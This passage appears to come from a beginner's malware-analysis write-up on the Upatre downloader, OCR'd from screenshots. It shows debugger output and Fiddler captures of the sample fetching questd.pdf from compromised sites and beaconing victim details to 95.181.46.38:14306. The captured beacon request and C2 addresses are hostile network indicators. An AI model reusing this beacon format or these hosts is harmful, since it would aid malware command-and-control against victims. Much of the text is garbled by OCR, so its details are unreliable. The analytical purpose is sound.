content/uploads/questd.pdf and http://yumproject.com/wp-
content/uploads/2014/11/questd.pdf without success.

uusures s croin o pusH uRul U pL Ss.EEupTUE " :
®| 00401 EF 93 50 11 00 00 €&l dword ptr ds:[ebx+1150] [ebx+1150]: InternetSetOptionk EBP  0O013FF2Z0 &"<html><head><titlexCurrent IP
e |l 00401 33 F6 xor esi,esi ESP O019FEAOQ
o| 00401 6 02 h 2 ESI 00000000
o| 00401 59 pop ecx EDI  00CCO00C
---e| 00401 51 push ecx
& 00401 56 push esi EIP 00401673 utilview. 00401673
o| 00401 56 push esi
o| 00401 56 push esi 2
o| 00401 56 push esi BrLaes L pooopeno
o| 00401 57 push edi
®| 0040166D FF 93 3C 11 00 00 €&l dword ptr ds:[ebx+113c] [ebx+113C] : HttpSendRequestw o O IFE
o e CFO TFO IF1

3 Progress Telerik Fiddler Web Debugger
File Edit Rules Tools View Help GET/book [ Geofdge

28 WinConfig () 3 Replay %+ b Go | 4 Stream [iifi Decode | Keep: All sessions ~ €53 Any Process 24 Find [l Save | [ (F) @& Browse ~ ¢ Clear Cache [T TextWizard | [ Tearoff | MSDN Search.. (@

= Result  Protocol Host URL Body Caching  Content-Type Process () Statistics ok Inspectors £ AutoResponder ¢ Composer g Fiddersript ] Log [ Filters —
A1 502 HTTP penangstreetfood.net  fwp-content/uploads/questd.pdf 512 no-<ac.. texthtml;c... utiview:4920 | | Headers \ Textiew | SyntaxView \ WebForms | Hexiew \ Auth | Cookies | Raw \ JSON | XM
€92 200 HTTP checkip.dyndns.org f 105 no-cache  texthiml

20
Transformer | Headers | [TextView | SyntaxView | ImageView | HexView | WebView | Auth | Cachin
Raw | oM | x|
I[T:ldd\ar] DNS Lookup for “penangstreetfood net" failed. System.Net. Sockets.SocketException No such host is known

Sends GET requeststo 95.181.46.38 with client related information, last string derives
from victim’s IP address, B is instead of

Headers | TextView | SyntaxView | WebForms | HexView = Auth | Cookies |[Raw | JSON | XML |

GET http://95.181.46.38:14306,/0903uk?? /DESKTOP-DEROTUG/0,/62/0/FEKBFGEGEME HTTP/1.1
User-Agent: Mazilla/5.0

Host: 95.181.46.38:14306

Pragma: no-cache

That’s all... Upatre ’s main function is to download malicious files.

Note

If you prefer you can use my script to extract payload instead of doing it manually:

| know, | overlook many things related to Upatre , due to my limited knowledge, if you find
something interesting please contact me.

I’m new to reversing malware and any kind of feedback is helpful for me.

Twitter: @_qaz_gaz
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https://twitter.com/_qaz_qaz

